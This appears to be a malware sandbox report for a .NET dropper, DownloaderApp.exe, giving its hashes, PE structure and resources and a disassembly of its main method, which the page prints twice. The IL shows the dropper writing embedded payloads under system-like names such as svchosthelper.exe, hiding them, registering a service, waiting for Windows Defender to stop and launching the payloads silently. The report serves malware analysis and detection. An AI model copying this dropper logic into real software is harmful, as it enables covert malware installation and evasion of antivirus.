Suspicious
Suspect

PE Executable
MD5: 1f8f1a5de4f7ca72c5f02eb84ff22917
Size: 5.08 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 1f8f1a5de4f7ca72c5f02eb84ff22917
Sha1 03194c385186d3c30598c5f0ead51b4e1638cdd7
Sha256 7a3ea1f8ddff3751f6148c6f7da2aa702ad053ba7c7a182b9a94faf2b3b44a43
Sha384 3f2bd5ab219f4cc006778714489843793362d8000fb45dc33845b616f3a75a19cfdc940f17f1a81335537729afeea306
Sha512 b2dd328b1a1803a62910c0f3d96845437a0331a3de14eb139d0808c0ffbbdf3212124372b19cf72d5adb74581e14f2f6378c4cd273e38325af826f43203ea6c0
SSDeep 98304:0Kxh1pmniRvew+9r+4G1nHI2uGhRvnE/wHIvO97N:b7pmvwKq4G1o2u+RfCwHKQ7N
TLSH 723633558BF5263AF8BAD03DEDEA045D9F257C40E72FC94E0E405872A92ED04E4D9BC2
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon
1f8f1a5de4f7ca72c5f02eb84ff22917
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
VhYftoYw6eI2.ooNd4.YN02K
VhYftoYw6eI2.k9oOhu.ZCuP5
VhYftoYw6eI2.qTyRnh.M4Vk
VhYftoYw6eI2.G2ypo6.vb8
Name Value
Info
PE Detect: PeReader OK (file layout)
Info 
PDB Path: C:\10\boot\Downloader_winer\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
29
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
146
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr VhYftoYw6eI2.qTyRnh.M4Vk
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr VhYftoYw6eI2.G2ypo6.vb8
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive()
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007F: call System.Void A.B::D()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Void A.B::D()
leave.s IL_008C: ldc.i4 3000
pop <null>
leave IL_01AD: ret
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00C5: ret
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00D8: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.2 <null>
ldstr systemhelper.exe
stloc.3 <null>
ldstr WindowsLogsHelper
stloc.s V_4
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.2 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldstr VhYftoYw6eI2.ooNd4.YN02K
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldstr VhYftoYw6eI2.k9oOhu.ZCuP5
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan)
brfalse.s IL_01A8: leave.s IL_01AD
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01A8: leave.s IL_01AD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01AD: ret
pop <null>
leave.s IL_01AD: ret
ret <null>
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
29
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
146
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr VhYftoYw6eI2.qTyRnh.M4Vk
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr VhYftoYw6eI2.G2ypo6.vb8
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive()
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007F: call System.Void A.B::D()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Void A.B::D()
leave.s IL_008C: ldc.i4 3000
pop <null>
leave IL_01AD: ret
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00C5: ret
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00D8: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.2 <null>
ldstr systemhelper.exe
stloc.3 <null>
ldstr WindowsLogsHelper
stloc.s V_4
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.2 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldstr VhYftoYw6eI2.ooNd4.YN02K
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldstr VhYftoYw6eI2.k9oOhu.ZCuP5
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan)
brfalse.s IL_01A8: leave.s IL_01AD
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01A8: leave.s IL_01AD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01AD: ret
pop <null>
leave.s IL_01AD: ret
ret <null>
1f8f1a5de4f7ca72c5f02eb84ff22917
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
VhYftoYw6eI2.ooNd4.YN02K
VhYftoYw6eI2.k9oOhu.ZCuP5
VhYftoYw6eI2.qTyRnh.M4Vk
VhYftoYw6eI2.G2ypo6.vb8
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙